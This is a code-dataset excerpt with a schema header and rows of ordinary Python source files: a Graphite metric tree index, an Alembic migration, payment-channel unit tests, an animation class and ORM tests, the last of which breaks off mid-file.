hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
248
max_stars_repo_name
stringlengths
5
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
248
max_issues_repo_name
stringlengths
5
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
248
max_forks_repo_name
stringlengths
5
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
2.06M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.03M
alphanum_fraction
float64
0
1
count_classes
int64
0
1.6M
score_classes
float64
0
1
count_generators
int64
0
651k
score_generators
float64
0
1
count_decorators
int64
0
990k
score_decorators
float64
0
1
count_async_functions
int64
0
235k
score_async_functions
float64
0
1
count_documentation
int64
0
1.04M
score_documentation
float64
0
1
45ff8b6b5f60c48ddfa54fb927e52bf066809499
6,044
py
Python
influxgraph/classes/tree.py
InfluxGraph/influxgraph
347c9b48f7708f1621a032ef2ca7d0915bc4a0b6
[ "Apache-2.0" ]
97
2016-10-26T15:39:44.000Z
2021-11-29T06:57:22.000Z
influxgraph/classes/tree.py
olajowon/influxgraph
347c9b48f7708f1621a032ef2ca7d0915bc4a0b6
[ "Apache-2.0" ]
52
2016-10-25T15:14:24.000Z
2021-01-15T15:44:02.000Z
influxgraph/classes/tree.py
olajowon/influxgraph
347c9b48f7708f1621a032ef2ca7d0915bc4a0b6
[ "Apache-2.0" ]
29
2016-11-15T21:53:58.000Z
2021-11-05T19:19:35.000Z
# Copyright (C) [2015-2017] [Thomson Reuters LLC] # Copyright (C) [2015-2017] [Panos Kittenis] # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tree representation of Graphite metrics""" from __future__ import absolute_import, print_function import json from collections import deque from graphite_api.utils import is_pattern from graphite_api.finders import match_entries def _encode_bytes(_str): if not isinstance(b'', str): return _str.encode('utf-8') return bytes(_str) def _decode_str(_str): try: return _str.decode('utf-8') except AttributeError: pass return _str class Node(object): """Node class of a graphite metric""" __slots__ = ('children') def __init__(self): self.children = None def is_leaf(self): """Returns True/False depending on whether self is a LeafNode or not""" return self.children is None def insert(self, paths): """Insert path in this node's children""" if len(paths) == 0: return if self.children is None: self.children = () child_name = paths.popleft() for (_child_name, node) in self.children: # Fast path for end of recursion - avoids extra recursion # for empty paths list if len(paths) == 0 and child_name == _child_name: return elif child_name == _child_name: return node.insert(paths) node = Node() self.children += ((child_name, node),) return node.insert(paths) def to_array(self): """Return list of (name, children) items for this node's children""" return [(_decode_str(name), node.to_array(),) for (name, node,) in self.children] \ if self.children is not None else None @staticmethod def from_array(array): """Load given parent node's children from array""" metric = Node() if array is None: return metric else: metric.children = () for child_name, child_array in array: child = Node.from_array(child_array) metric.children += ((_encode_bytes(child_name), child),) return metric class NodeTreeIndex(object): """Node tree index class with graphite glob searches per sub-part of a query """ __slots__ = ('index') @property def children(self): return self.index.children if self.index.children else [] def __init__(self): self.index = Node() def insert(self, metric_path): """Insert metric path into tree index""" paths = deque([_encode_bytes(s) for s in metric_path.split('.')]) self.index.insert(paths) def insert_split_path(self, paths): """Insert already split path into tree index""" self.index.insert(deque([_encode_bytes(s) for s in paths])) def clear(self): """Clear tree index""" self.index.children = None def query(self, query): """Return nodes matching Graphite glob pattern query""" nodes = sorted(self.search(self.index, query.split('.'), [])) return (('.'.join(path), node,) for path, node in nodes) def _get_children_from_matched_paths(self, matched_paths, node): for (path, _node) in node.children: _path = _decode_str(path) if _path in matched_paths: yield (_path, _node) def _get_child_from_string_query(self, sub_query, node): for (path, _node) in node.children: if _decode_str(path) == sub_query: return _node def _get_matched_children(self, sub_query, node): keys = [_decode_str(key) for (key, _) in node.children] \ if node.children is not None else [] matched_paths = match_entries(keys, sub_query) if node.children is not None and is_pattern(sub_query): matched_children = self._get_children_from_matched_paths( matched_paths, node) else: matched_children = [(sub_query, self._get_child_from_string_query( sub_query, node))] \ if node.children is not None \ and sub_query in keys else [] return matched_children def search(self, node, split_query, split_path): """Return matching children for each query part in split query starting from given node""" sub_query = split_query[0] matched_children = self._get_matched_children(sub_query, node) for child_name, child_node in matched_children: child_path = split_path[:] child_path.append(child_name) child_query = split_query[1:] if len(child_query) > 0: for sub in self.search(child_node, child_query, child_path): yield sub else: yield (child_path, child_node) def to_array(self): """Return array representation of tree index""" return self.index.to_array() @staticmethod def from_array(model): """Load tree index from array""" metric_index = NodeTreeIndex() metric_index.index = Node.from_array(model) return metric_index @staticmethod def from_file(file_h): """Load tree index from file handle""" index = NodeTreeIndex.from_array(json.load(file_h)) return index
33.955056
79
0.615817
4,920
0.81403
871
0.14411
875
0.144772
0
0
1,525
0.252316
34004ea3073310db42117fab0c831aaf98b2e811
697
py
Python
agent/alembic/versions/d04cf726555d_create_pipeline_retries_table.py
anodot/daria
d475899309f56cd85347be0f7001a0dd97dd197a
[ "Apache-2.0" ]
16
2019-04-03T08:31:54.000Z
2021-01-24T17:12:04.000Z
agent/alembic/versions/d04cf726555d_create_pipeline_retries_table.py
anodot/daria
d475899309f56cd85347be0f7001a0dd97dd197a
[ "Apache-2.0" ]
10
2020-01-20T14:59:06.000Z
2022-01-21T10:19:16.000Z
agent/alembic/versions/d04cf726555d_create_pipeline_retries_table.py
anodot/daria
d475899309f56cd85347be0f7001a0dd97dd197a
[ "Apache-2.0" ]
5
2021-01-08T19:23:03.000Z
2021-11-09T14:15:49.000Z
"""create pipeline_retries table Revision ID: d04cf726555d Revises: fc92fa8ed02b Create Date: 2021-09-02 13:04:36.053768 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'd04cf726555d' down_revision = 'fc92fa8ed02b' branch_labels = None depends_on = None def upgrade(): op.create_table( 'pipeline_retries', sa.Column('pipeline_id', sa.String, primary_key=True), sa.Column('number_of_error_statuses', sa.Integer, nullable=False) ) op.create_foreign_key('fk_pipeline_retries_pipeline', 'pipeline_retries', 'pipelines', ['pipeline_id'], ['name']) def downgrade(): op.drop_table('pipeline_retries')
23.233333
117
0.730273
0
0
0
0
0
0
0
0
347
0.497848
34013eeb0dc107d3ab7cd078b429e806ffc56add
2,525
py
Python
CAAPR/CAAPR_AstroMagic/PTS/pts/magic/animation/scatter.py
wdobbels/CAAPR
50d0b32642a61af614c22f1c6dc3c4a00a1e71a3
[ "MIT" ]
7
2016-05-20T21:56:39.000Z
2022-02-07T21:09:48.000Z
CAAPR/CAAPR_AstroMagic/PTS/pts/magic/animation/scatter.py
wdobbels/CAAPR
50d0b32642a61af614c22f1c6dc3c4a00a1e71a3
[ "MIT" ]
1
2019-03-21T16:10:04.000Z
2019-03-22T17:21:56.000Z
CAAPR/CAAPR_AstroMagic/PTS/pts/magic/animation/scatter.py
wdobbels/CAAPR
50d0b32642a61af614c22f1c6dc3c4a00a1e71a3
[ "MIT" ]
1
2020-05-19T16:17:17.000Z
2020-05-19T16:17:17.000Z
#!/usr/bin/env python # -*- coding: utf8 -*- # ***************************************************************** # ** PTS -- Python Toolkit for working with SKIRT ** # ** © Astronomical Observatory, Ghent University ** # ***************************************************************** ## \package pts.magic.animation.scatter Contains the ScatterAnimation class. # ----------------------------------------------------------------- # Import standard modules import io import numpy as np import copy import imageio # Import the relevant PTS classes and modules from ...core.basics.animation import Animation from ...core.plot.scatter import ScatterPlotter # ----------------------------------------------------------------- class ScatterAnimation(Animation): """ This class ... """ def __init__(self, x_limits, y_limits, z_limits): """ The constructor ... """ # Call the constructor of the base class super(ScatterAnimation, self).__init__() # Set the number of frames per second self.fps = 5 # Properties self.x_limits = x_limits self.y_limits = y_limits self.z_limits = z_limits self.x_label = None self.y_label = None self.z_label = None self.density = True # The plotter self._plotter = ScatterPlotter() # ----------------------------------------------------------------- def add_point(self, x, y, z): """ This function ... :return: """ # Add a point to the plotter self._plotter.add_point(x, y, z) buf = io.BytesIO() self._plotter.set_x_limits(self.x_limits[0], self.x_limits[1]) self._plotter.set_y_limits(self.y_limits[0], self.y_limits[1]) self._plotter.set_z_limits(self.z_limits[0], self.z_limits[1]) if self.x_label is not None: self._plotter.set_x_label(self.x_label) if self.y_label is not None: self._plotter.set_y_label(self.y_label) if self.z_label is not None: self._plotter.set_z_label(self.z_label) self._plotter.format = "png" self._plotter.density = self.density # Run the scatter plotter self._plotter.run(buf) buf.seek(0) im = imageio.imread(buf) buf.close() self.add_frame(im) # Clear the scatter plotter self._plotter.clear_figure() # -----------------------------------------------------------------
27.445652
76
0.514059
1,696
0.671417
0
0
0
0
0
0
1,044
0.413302
3401e7d0ecf41d08ab5511f500baa59628ea1b4d
336
py
Python
2409.py
ShawonBarman/URI-Online-judge-Ad-Hoc-level-problem-solution-in-python
9a0f0ad5efd4a9e73589c357ab4b34b7c73a11da
[ "MIT" ]
1
2022-01-14T08:45:32.000Z
2022-01-14T08:45:32.000Z
2409.py
ShawonBarman/URI-Online-judge-Ad-Hoc-level-problem-solution-in-python
9a0f0ad5efd4a9e73589c357ab4b34b7c73a11da
[ "MIT" ]
null
null
null
2409.py
ShawonBarman/URI-Online-judge-Ad-Hoc-level-problem-solution-in-python
9a0f0ad5efd4a9e73589c357ab4b34b7c73a11da
[ "MIT" ]
null
null
null
a, b, c = map(int, input().split()) h, l = map(int, input().split()) if a <= h and b <= l: print("S") elif a <= h and c <= l: print("S") elif b <= h and a <= l: print("S") elif b <= h and c <= l: print("S") elif c <= h and a <= l: print("S") elif c <= h and b <= l: print("S") else: print("N")
21
36
0.4375
0
0
0
0
0
0
0
0
21
0.0625
3403e8075fdfc60c6582826c725d9cc68e94658b
16,760
py
Python
tests/bitserv/test_channels.py
febuiles/two1-python
88704487dba7715f97a0980781d4c0efb2ea7fc4
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
tests/bitserv/test_channels.py
febuiles/two1-python
88704487dba7715f97a0980781d4c0efb2ea7fc4
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
tests/bitserv/test_channels.py
febuiles/two1-python
88704487dba7715f97a0980781d4c0efb2ea7fc4
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
"""Tests for payment channel functionality.""" import time import codecs import pytest import collections import multiprocessing import two1.bitcoin.utils as utils from two1.bitcoin import Script, Hash from two1.bitcoin import PrivateKey from two1.bitcoin import Transaction, TransactionInput, TransactionOutput from two1.channels.statemachine import PaymentChannelRedeemScript from two1.bitserv.payment_server import PaymentServer, PaymentServerError from two1.bitserv.payment_server import PaymentChannelNotFoundError from two1.bitserv.payment_server import TransactionVerificationError from two1.bitserv.payment_server import BadTransactionError from two1.bitserv.models import DatabaseSQLite3, ChannelSQLite3 class MockTwo1Wallet: """Wallet to mock two1 wallet functions in a test environment.""" def __init__(self): """Initialize the mock wallet with a private key.""" self._private_key = PrivateKey.from_random() self.testnet = False def get_payout_public_key(self, account='default'): """Return the public key associated with the private key.""" return self._private_key.public_key def get_private_for_public(self, public_key): """Get this private key for this public key.""" if public_key.to_hex() == self._private_key.public_key.to_hex(): return self._private_key else: return None def create_deposit_tx(self, hash160): """Return a mocked deposit transaction.""" utxo_script_sig = Script.build_p2pkh(self._private_key.public_key.hash160()) inp = TransactionInput( outpoint=Hash('0' * 64), outpoint_index=0, script=utxo_script_sig, sequence_num=0xffffffff) out = TransactionOutput(value=100000, script=Script.build_p2sh(hash160)) txn = Transaction(version=Transaction.DEFAULT_TRANSACTION_VERSION, inputs=[inp], outputs=[out], lock_time=0) txn.sign_input( input_index=0, hash_type=Transaction.SIG_HASH_ALL, private_key=self._private_key, sub_script=utxo_script_sig) return txn def create_payment_tx(self, deposit_tx, redeem_script, merchant_public_key, customer_public_key, amount, fee): # Find P2SH output index in deposit_tx deposit_utxo_index = deposit_tx.output_index_for_address(redeem_script.hash160()) # Look up deposit amount deposit_amount = deposit_tx.outputs[deposit_utxo_index].value - fee # Build unsigned payment transaction script_sig = Script() inp = TransactionInput(deposit_tx.hash, deposit_utxo_index, script_sig, 0xffffffff) out1 = TransactionOutput(amount, Script.build_p2pkh(merchant_public_key.hash160())) out2 = TransactionOutput(deposit_amount - amount, Script.build_p2pkh(customer_public_key.hash160())) payment_tx = Transaction(1, [inp], [out1, out2], 0x0) # Sign payment transaction public_key = redeem_script.customer_public_key private_key = self.get_private_for_public(public_key) sig = payment_tx.get_signature_for_input(0, Transaction.SIG_HASH_ALL, private_key, redeem_script)[0] # Update input script sig script_sig = Script( [sig.to_der() + utils.pack_compact_int(Transaction.SIG_HASH_ALL), 'OP_1', bytes(redeem_script)]) payment_tx.inputs[0].script = script_sig return payment_tx class MockBlockchain: def broadcast_tx(self, tx): pass def lookup_spend_txid(self, txid, output_index): return None def check_confirmed(self, txid, num_confirmations=1): return True def mock_lookup_spent_txid(self, txid, output_index): return txid ############################################################################### ClientVals = collections.namedtuple('ClientVals', ['deposit_tx', 'payment_tx', 'redeem_script']) TEST_DEP_AMOUNT = 100000 TEST_DUST_AMOUNT = 1 TEST_PMT_AMOUNT = 5000 TEST_FEE_AMOUNT = 10000 TEST_EXPIRY = 86400 cust_wallet = MockTwo1Wallet() merch_wallet = MockTwo1Wallet() BAD_SIGNATURE = codecs.encode(cust_wallet._private_key.sign('fake').to_der(), 'hex_codec') channel_server = PaymentServer(merch_wallet, testnet=True) channel_server._blockchain = MockBlockchain() def _create_client_txs(): """Mock client transactions for opening a channel.""" # Collect public keys expiration_time = int(time.time() + TEST_EXPIRY) customer_public_key = cust_wallet.get_payout_public_key() merchant_public_key = merch_wallet.get_payout_public_key() # Build redeem script redeem_script = PaymentChannelRedeemScript( merchant_public_key, customer_public_key, expiration_time) # Build deposit tx deposit_tx = cust_wallet.create_deposit_tx(redeem_script.hash160()) # Build payment tx payment_tx = cust_wallet.create_payment_tx( deposit_tx, redeem_script, merchant_public_key, customer_public_key, TEST_PMT_AMOUNT, TEST_FEE_AMOUNT) return ClientVals(deposit_tx.to_hex(), payment_tx.to_hex(), redeem_script.to_hex()) def _create_client_payment(client, num): """Mock client transaction for a payment in a channel.""" customer_public_key = cust_wallet.get_payout_public_key() merchant_public_key = merch_wallet.get_payout_public_key() deposit_tx = Transaction.from_hex(client.deposit_tx) redeem_script = PaymentChannelRedeemScript.from_bytes(codecs.decode(client.redeem_script, 'hex_codec')) return cust_wallet.create_payment_tx( deposit_tx, redeem_script, merchant_public_key, customer_public_key, TEST_PMT_AMOUNT * num, TEST_FEE_AMOUNT).to_hex() def test_identify(): """Test ability to identify a payment server.""" channel_server._db = DatabaseSQLite3(':memory:', db_dir='') pc_config = channel_server.identify() merchant_public_key = pc_config['public_key'] test_public_key = codecs.encode( merch_wallet._private_key.public_key.compressed_bytes, 'hex_codec').decode('utf-8') assert merchant_public_key == test_public_key assert pc_config['version'] == channel_server.PROTOCOL_VERSION assert pc_config['zeroconf'] is False def test_channel_server_open(): """Test ability to open a payment channel.""" channel_server._db = DatabaseSQLite3(':memory:', db_dir='') test_client = _create_client_txs() # Initialize the handshake and ensure that it returns sucessfully channel_server.open(test_client.deposit_tx, test_client.redeem_script) # Test for handshake failure when using the same refund twice with pytest.raises(PaymentServerError): channel_server.open(test_client.deposit_tx, test_client.redeem_script) def test_receive_payment(): """Test ability to receive a payment within a channel.""" channel_server._db = DatabaseSQLite3(':memory:', db_dir='') test_client = _create_client_txs() # Test that payment receipt fails when no channel exists with pytest.raises(PaymentChannelNotFoundError): channel_server.receive_payment('fake', test_client.payment_tx) # Initiate and complete the payment channel handshake deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script) # Test that payment receipt succeeds channel_server.receive_payment(deposit_txid, test_client.payment_tx) # Test that payment receipt fails with a duplicate payment with pytest.raises(PaymentServerError): channel_server.receive_payment(deposit_txid, test_client.payment_tx) def test_redeem_payment(): """Test ability to redeem a payment made within a channel.""" channel_server._db = DatabaseSQLite3(':memory:', db_dir='') test_client = _create_client_txs() # Test that payment redeem fails when no channel exists with pytest.raises(PaymentChannelNotFoundError): channel_server.redeem('fake') # Test that payment redeem succeeds deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script) payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx) amount = channel_server.redeem(payment_txid) assert amount == TEST_PMT_AMOUNT # Test that payment redeem fails with a duplicate payment with pytest.raises(PaymentServerError): channel_server.redeem(payment_txid) def test_status_close_channel(): """Test ability to get a channel's status and close it.""" channel_server._db = DatabaseSQLite3(':memory:', db_dir='') test_client = _create_client_txs() # Test that channel close fails when no channel exists with pytest.raises(PaymentChannelNotFoundError): channel_server.close('fake', BAD_SIGNATURE) # Open the channel and make a payment deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script) payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx) channel_server.redeem(payment_txid) # Test that channel close fails without a valid signature with pytest.raises(TransactionVerificationError): closed = channel_server.close(deposit_txid, BAD_SIGNATURE) # Test that channel close succeeds good_signature = codecs.encode(cust_wallet._private_key.sign(deposit_txid).to_der(), 'hex_codec') closed = channel_server.close(deposit_txid, good_signature) assert closed def test_channel_sync(monkeypatch): """Test ability to sync the status of all channels.""" channel_server._db = DatabaseSQLite3(':memory:', db_dir='') # Seed the database with activity in Channel A test_client_a = _create_client_txs() deposit_txid_a = channel_server.open(test_client_a.deposit_tx, test_client_a.redeem_script) payment_txid = channel_server.receive_payment(deposit_txid_a, test_client_a.payment_tx) amount = channel_server.redeem(payment_txid) assert amount == TEST_PMT_AMOUNT # Seed the database with activity in Channel B cust_wallet._private_key = PrivateKey.from_random() test_client_b = _create_client_txs() deposit_txid_b = channel_server.open(test_client_b.deposit_tx, test_client_b.redeem_script) payment_txid = channel_server.receive_payment(deposit_txid_b, test_client_b.payment_tx) amount = channel_server.redeem(payment_txid) payment_tx1 = _create_client_payment(test_client_b, 2) payment_tx2 = _create_client_payment(test_client_b, 3) payment_tx3 = _create_client_payment(test_client_b, 4) payment_txid1 = channel_server.receive_payment(deposit_txid_b, payment_tx1) payment_txid2 = channel_server.receive_payment(deposit_txid_b, payment_tx2) payment_txid3 = channel_server.receive_payment(deposit_txid_b, payment_tx3) amount1 = channel_server.redeem(payment_txid1) amount2 = channel_server.redeem(payment_txid3) amount3 = channel_server.redeem(payment_txid2) assert amount1 == TEST_PMT_AMOUNT assert amount2 == TEST_PMT_AMOUNT assert amount3 == TEST_PMT_AMOUNT # Both channels should be `ready` since our channel is zeroconf by default channels = channel_server._db.pc.lookup() assert channels, 'Channel lookup with no args should return a list of all channels.' for channel in channels: assert channel.state == ChannelSQLite3.READY, 'Channel should be READY.' # Change Channel A to `confirming` for testing purposes channel_server._db.pc.update_state(deposit_txid_a, ChannelSQLite3.CONFIRMING) test_state = channel_server._db.pc.lookup(deposit_txid_a).state assert test_state == ChannelSQLite3.CONFIRMING, 'Channel should be CONFIRMING' # Change Channel B's expiration to be very close to allowable expiration new_expiry = int(time.time() + 3600) update = 'UPDATE payment_channel SET expires_at=? WHERE deposit_txid=?' channel_server._db.pc.c.execute(update, (new_expiry, deposit_txid_b)) channel_server._db.pc.c.connection.commit() test_expiry = channel_server._db.pc.lookup(deposit_txid_b).expires_at assert test_expiry == new_expiry, 'Channel should closing soon.' # Sync all of the server's payment channels channel_server.sync() # Test that Channel A is `ready` after a sync test_state = channel_server._db.pc.lookup(deposit_txid_a).state assert test_state == ChannelSQLite3.READY, 'Channel should be READY' # Test that Channel B is `closed` after a sync test_state = channel_server._db.pc.lookup(deposit_txid_b).state assert test_state == ChannelSQLite3.CLOSED, 'Channel should be CLOSED' # Test that Channel B payment is fully signed after a sync test_payment = channel_server._db.pc.lookup(deposit_txid_b).payment_tx goodsig_1 = Script.validate_template(test_payment.inputs[0].script, [bytes, bytes, 'OP_1', bytes]) goodsig_true = Script.validate_template(test_payment.inputs[0].script, [bytes, bytes, 'OP_TRUE', bytes]) assert goodsig_1 or goodsig_true, 'Payment should be in a fully signed format' # Test that Channel A remains `ready` after another sync channel_server.sync() test_state = channel_server._db.pc.lookup(deposit_txid_a).state assert test_state == ChannelSQLite3.READY, 'Channel should be READY' # Modify `lookup_spend_txid` to return a txid, as if the tx were spent monkeypatch.setattr(MockBlockchain, 'lookup_spend_txid', mock_lookup_spent_txid) # Test that Channel A is `closed` after a sync where it finds a spent txid channel_server.sync() test_state = channel_server._db.pc.lookup(deposit_txid_a).state assert test_state == ChannelSQLite3.CLOSED, 'Channel should be CLOSED' def test_channel_low_balance_message(): """Test that the channel server returns a useful error when the balance is low.""" channel_server._db = DatabaseSQLite3(':memory:', db_dir='') test_client = _create_client_txs() # Open the channel and make a payment deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script) payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx) channel_server.redeem(payment_txid) # Create a payment that almost completely drains the channel payment_tx2 = _create_client_payment(test_client, 17) payment_txid2 = channel_server.receive_payment(deposit_txid, payment_tx2) channel_server.redeem(payment_txid2) # Make a payment that spends more than the remaining channel balance payment_tx3 = _create_client_payment(test_client, 18) with pytest.raises(BadTransactionError) as exc: channel_server.receive_payment(deposit_txid, payment_tx3) assert 'Payment channel balance' in str(exc) # Test that channel close succeeds good_signature = codecs.encode(cust_wallet._private_key.sign(deposit_txid).to_der(), 'hex_codec') closed = channel_server.close(deposit_txid, good_signature) assert closed def test_channel_redeem_race_condition(): """Test ability lock multiprocess redeems.""" # Clear test database multiprocess_db = '/tmp/bitserv_test.sqlite3' with open(multiprocess_db, 'w') as f: f.write('') # Initialize test vectors channel_server._db = DatabaseSQLite3(multiprocess_db) test_client = _create_client_txs() deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script) payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx) # Cache channel result for later channel = channel_server._db.pc.lookup(deposit_txid) # This is a function that takes a long time def delayed_pc_lookup(deposit_txid): time.sleep(0.5) return channel # This is the normal function def normal_pc_lookup(deposit_txid): return channel # This function is called between the first lookup and the final record update # We make sure this function takes extra long the first time its called # in order to expose the race condition channel_server._db.pc.lookup = delayed_pc_lookup # Start the first redeem in its own process and allow time to begin p = multiprocessing.Process(target=channel_server.redeem, args=(payment_txid,)) p.start() time.sleep(0.1) # After starting the first redeem, reset the function to take a normal amount of time channel_server._db.pc.lookup = normal_pc_lookup # To test the race, this redeem is called while the other redeem is still in-process # Because this call makes it to the final database update first, it should be successful channel_server.redeem(payment_txid) # The multiprocess redeem is intentionally made slow, and will finish after the redeem above # Because of this, the multiprocess redeem should throw and exception and exit with an error p.join() assert p.exitcode == 1
43.195876
116
0.748866
2,926
0.174582
0
0
0
0
0
0
4,288
0.255847
3403f5c550e586734e611cd55d8e1765defe86ed
297
py
Python
aiida/cmdline/groups/__init__.py
aiidateam/aiida_core
46d244e32ac5eca2e22a3d088314591ce064be57
[ "PSF-2.0", "MIT" ]
153
2016-12-23T20:59:03.000Z
2019-07-02T06:47:52.000Z
aiida/cmdline/groups/__init__.py
aiidateam/aiida_core
46d244e32ac5eca2e22a3d088314591ce064be57
[ "PSF-2.0", "MIT" ]
2,466
2016-12-24T01:03:52.000Z
2019-07-04T13:41:08.000Z
aiida/cmdline/groups/__init__.py
aiidateam/aiida_core
46d244e32ac5eca2e22a3d088314591ce064be57
[ "PSF-2.0", "MIT" ]
88
2016-12-23T16:28:00.000Z
2019-07-01T15:55:20.000Z
# -*- coding: utf-8 -*- """Module with custom implementations of :class:`click.Group`.""" # AUTO-GENERATED # yapf: disable # pylint: disable=wildcard-import from .dynamic import * from .verdi import * __all__ = ( 'DynamicEntryPointCommandGroup', 'VerdiCommandGroup', ) # yapf: enable
16.5
65
0.686869
0
0
0
0
0
0
0
0
216
0.727273
3404a220cc2c7335fc1d99ac2799acd671b399e7
1,410
py
Python
templates/pythonScripts/ExtraMeeting.py
cameronosmith/webreg-to-google-calendar
b245d17ce763082f253e98755d1e24a973b6d1ea
[ "MIT" ]
null
null
null
templates/pythonScripts/ExtraMeeting.py
cameronosmith/webreg-to-google-calendar
b245d17ce763082f253e98755d1e24a973b6d1ea
[ "MIT" ]
null
null
null
templates/pythonScripts/ExtraMeeting.py
cameronosmith/webreg-to-google-calendar
b245d17ce763082f253e98755d1e24a973b6d1ea
[ "MIT" ]
null
null
null
#class for meetings other than lecture class ExtraMeeting: def __init__(self): self.type="TBA" self.days="TBA" self.time="TBA" self.building="TBA" self.room="TBA" #self explanatory setter methods def setType(self,type): if type == 'DI': self.type='Discussion' elif type == 'LA': self.type='LAB' elif type == 'FI': self.type='Final' else: self.type=type def setDays(self,days): self.days=days def setTime(self,time): self.time=time def setBuilding(self,building): self.building=building def setRoom(self,room): self.room=room #getters def getType(self): if(self.type): return self.type else: return "" def getDays(self): if(self.days): return self.days else: return "" def getTime(self): if(self.time): return self.time else: return "" def getBuilding(self): if(self.building): return self.building else: return "" def getRoom(self): if(self.room): return self.room else: return "" def printStats(self): print self.getType()+self.getDays()+self.getTime()+self.getBuilding()+self.getRoom()
23.114754
92
0.51844
1,367
0.969504
0
0
0
0
0
0
149
0.105674
34059f034a2a3d3139f78563258f3ffdcd3bb516
9,125
py
Python
tests/module/module_orm_test.py
codacy-badger/graphit
7fcfed114875466179ed3d4848dd9098fa3e60fb
[ "Apache-2.0" ]
null
null
null
tests/module/module_orm_test.py
codacy-badger/graphit
7fcfed114875466179ed3d4848dd9098fa3e60fb
[ "Apache-2.0" ]
null
null
null
tests/module/module_orm_test.py
codacy-badger/graphit
7fcfed114875466179ed3d4848dd9098fa3e60fb
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ file: module_graphorm_test.py Unit tests for the Graph Object Relations Mapper (orm) """ import os from unittest_baseclass import UnittestPythonCompatibility from graphit.graph_io.io_tgf_format import read_tgf from graphit.graph_orm import GraphORM # ORM test classes class ORMtestMo(object): @staticmethod def get_label(): return "mo class" class ORMtestBi(object): @staticmethod def get_label(): return "bi class" class ORMtestTgf6(object): def get_label(self): return "tgf6 class {0}".format(self.add) class ORMtestTgf9(object): def get_label(self): return "tgf9 class {0}".format(self.add) class TestGraphORMRegistration(UnittestPythonCompatibility): def setUp(self): """ Init empty GraphORM object """ self.orm = GraphORM() def test_graph_orm_exception_noneclass(self): """ Registration 'class' argument should be a class else raise exception. """ self.assertRaises(TypeError, self.orm.node_mapping.add, 'not_a_class', lambda x: x.get('key') == 'two') self.assertRaises(TypeError, self.orm.edge_mapping.add, 'not_a_class', lambda x: x.get('key') == 'two') def test_graph_orm_exception_nonefunction(self): """ Registration 'match_func' argument should be a fucntion else raise exception. """ self.assertRaises(TypeError, self.orm.node_mapping.add, ORMtestMo, 'not_a_function') self.assertRaises(TypeError, self.orm.edge_mapping.add, ORMtestMo, 122) def test_graph_orm_duplicate_registration(self): """ Duplicate registration of node and edge mapping is not allowed """ for n in range(2): self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six') self.assertEqual(len(self.orm.node_mapping), 1) for n in range(2): self.orm.edge_mapping.add(ORMtestBi, lambda x: x.get('label') == 'bi') self.assertEqual(len(self.orm.edge_mapping), 1) def test_graph_orm_mapping_add(self): """ Test adding mapping for node/edge """ idx = self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six') self.assertEqual(idx, 1) self.assertEqual(len(self.orm.node_mapping), 1) self.assertEqual(list(self.orm.node_mapping.keys()), [1]) self.assertEqual(self.orm.node_mapping[1]['class'], ORMtestTgf6) self.assertEqual(self.orm.node_mapping[1]['mro_pos'], 0) def test_graph_orm_mapping_remove(self): """ Test removal of mapping based on mapping ID """ idx = self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six') self.orm.node_mapping.remove(idx) self.assertEqual(len(self.orm.node_mapping), 0) self.assertTrue(idx not in self.orm.node_mapping) def test_graph_orm_mapping_update(self): """ Test update of registered mapping based on mapping ID """ idx = self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six') self.orm.node_mapping[idx]['class'] = ORMtestTgf9 self.assertEqual(self.orm.node_mapping[1]['class'], ORMtestTgf9) def test_graph_orm_mapping_update_from_mapping(self): """ Test update from other orm mapping """ self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six') # Build second ORM second_orm = GraphORM() for cls in (ORMtestTgf9, ORMtestBi): second_orm.node_mapping.add(cls, lambda x: x.get('key') == 'six') # Update self.orm.node_mapping.update(second_orm.node_mapping) self.assertEqual(len(self.orm.node_mapping), 3) def test_graph_orm_mapping_update_from_mapping_with_duplicate(self): """ Test update from other orm mapping """ self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six') # Build second ORM second_orm = GraphORM() for cls in (ORMtestTgf9, ORMtestTgf6, ORMtestBi): second_orm.node_mapping.add(cls, lambda x: x.get('key') == 'six') # Update self.orm.node_mapping.update(second_orm.node_mapping) self.assertEqual(len(self.orm.node_mapping), 3) def test_graph_orm_mapping_auto_increment_index(self): """ Test automatic 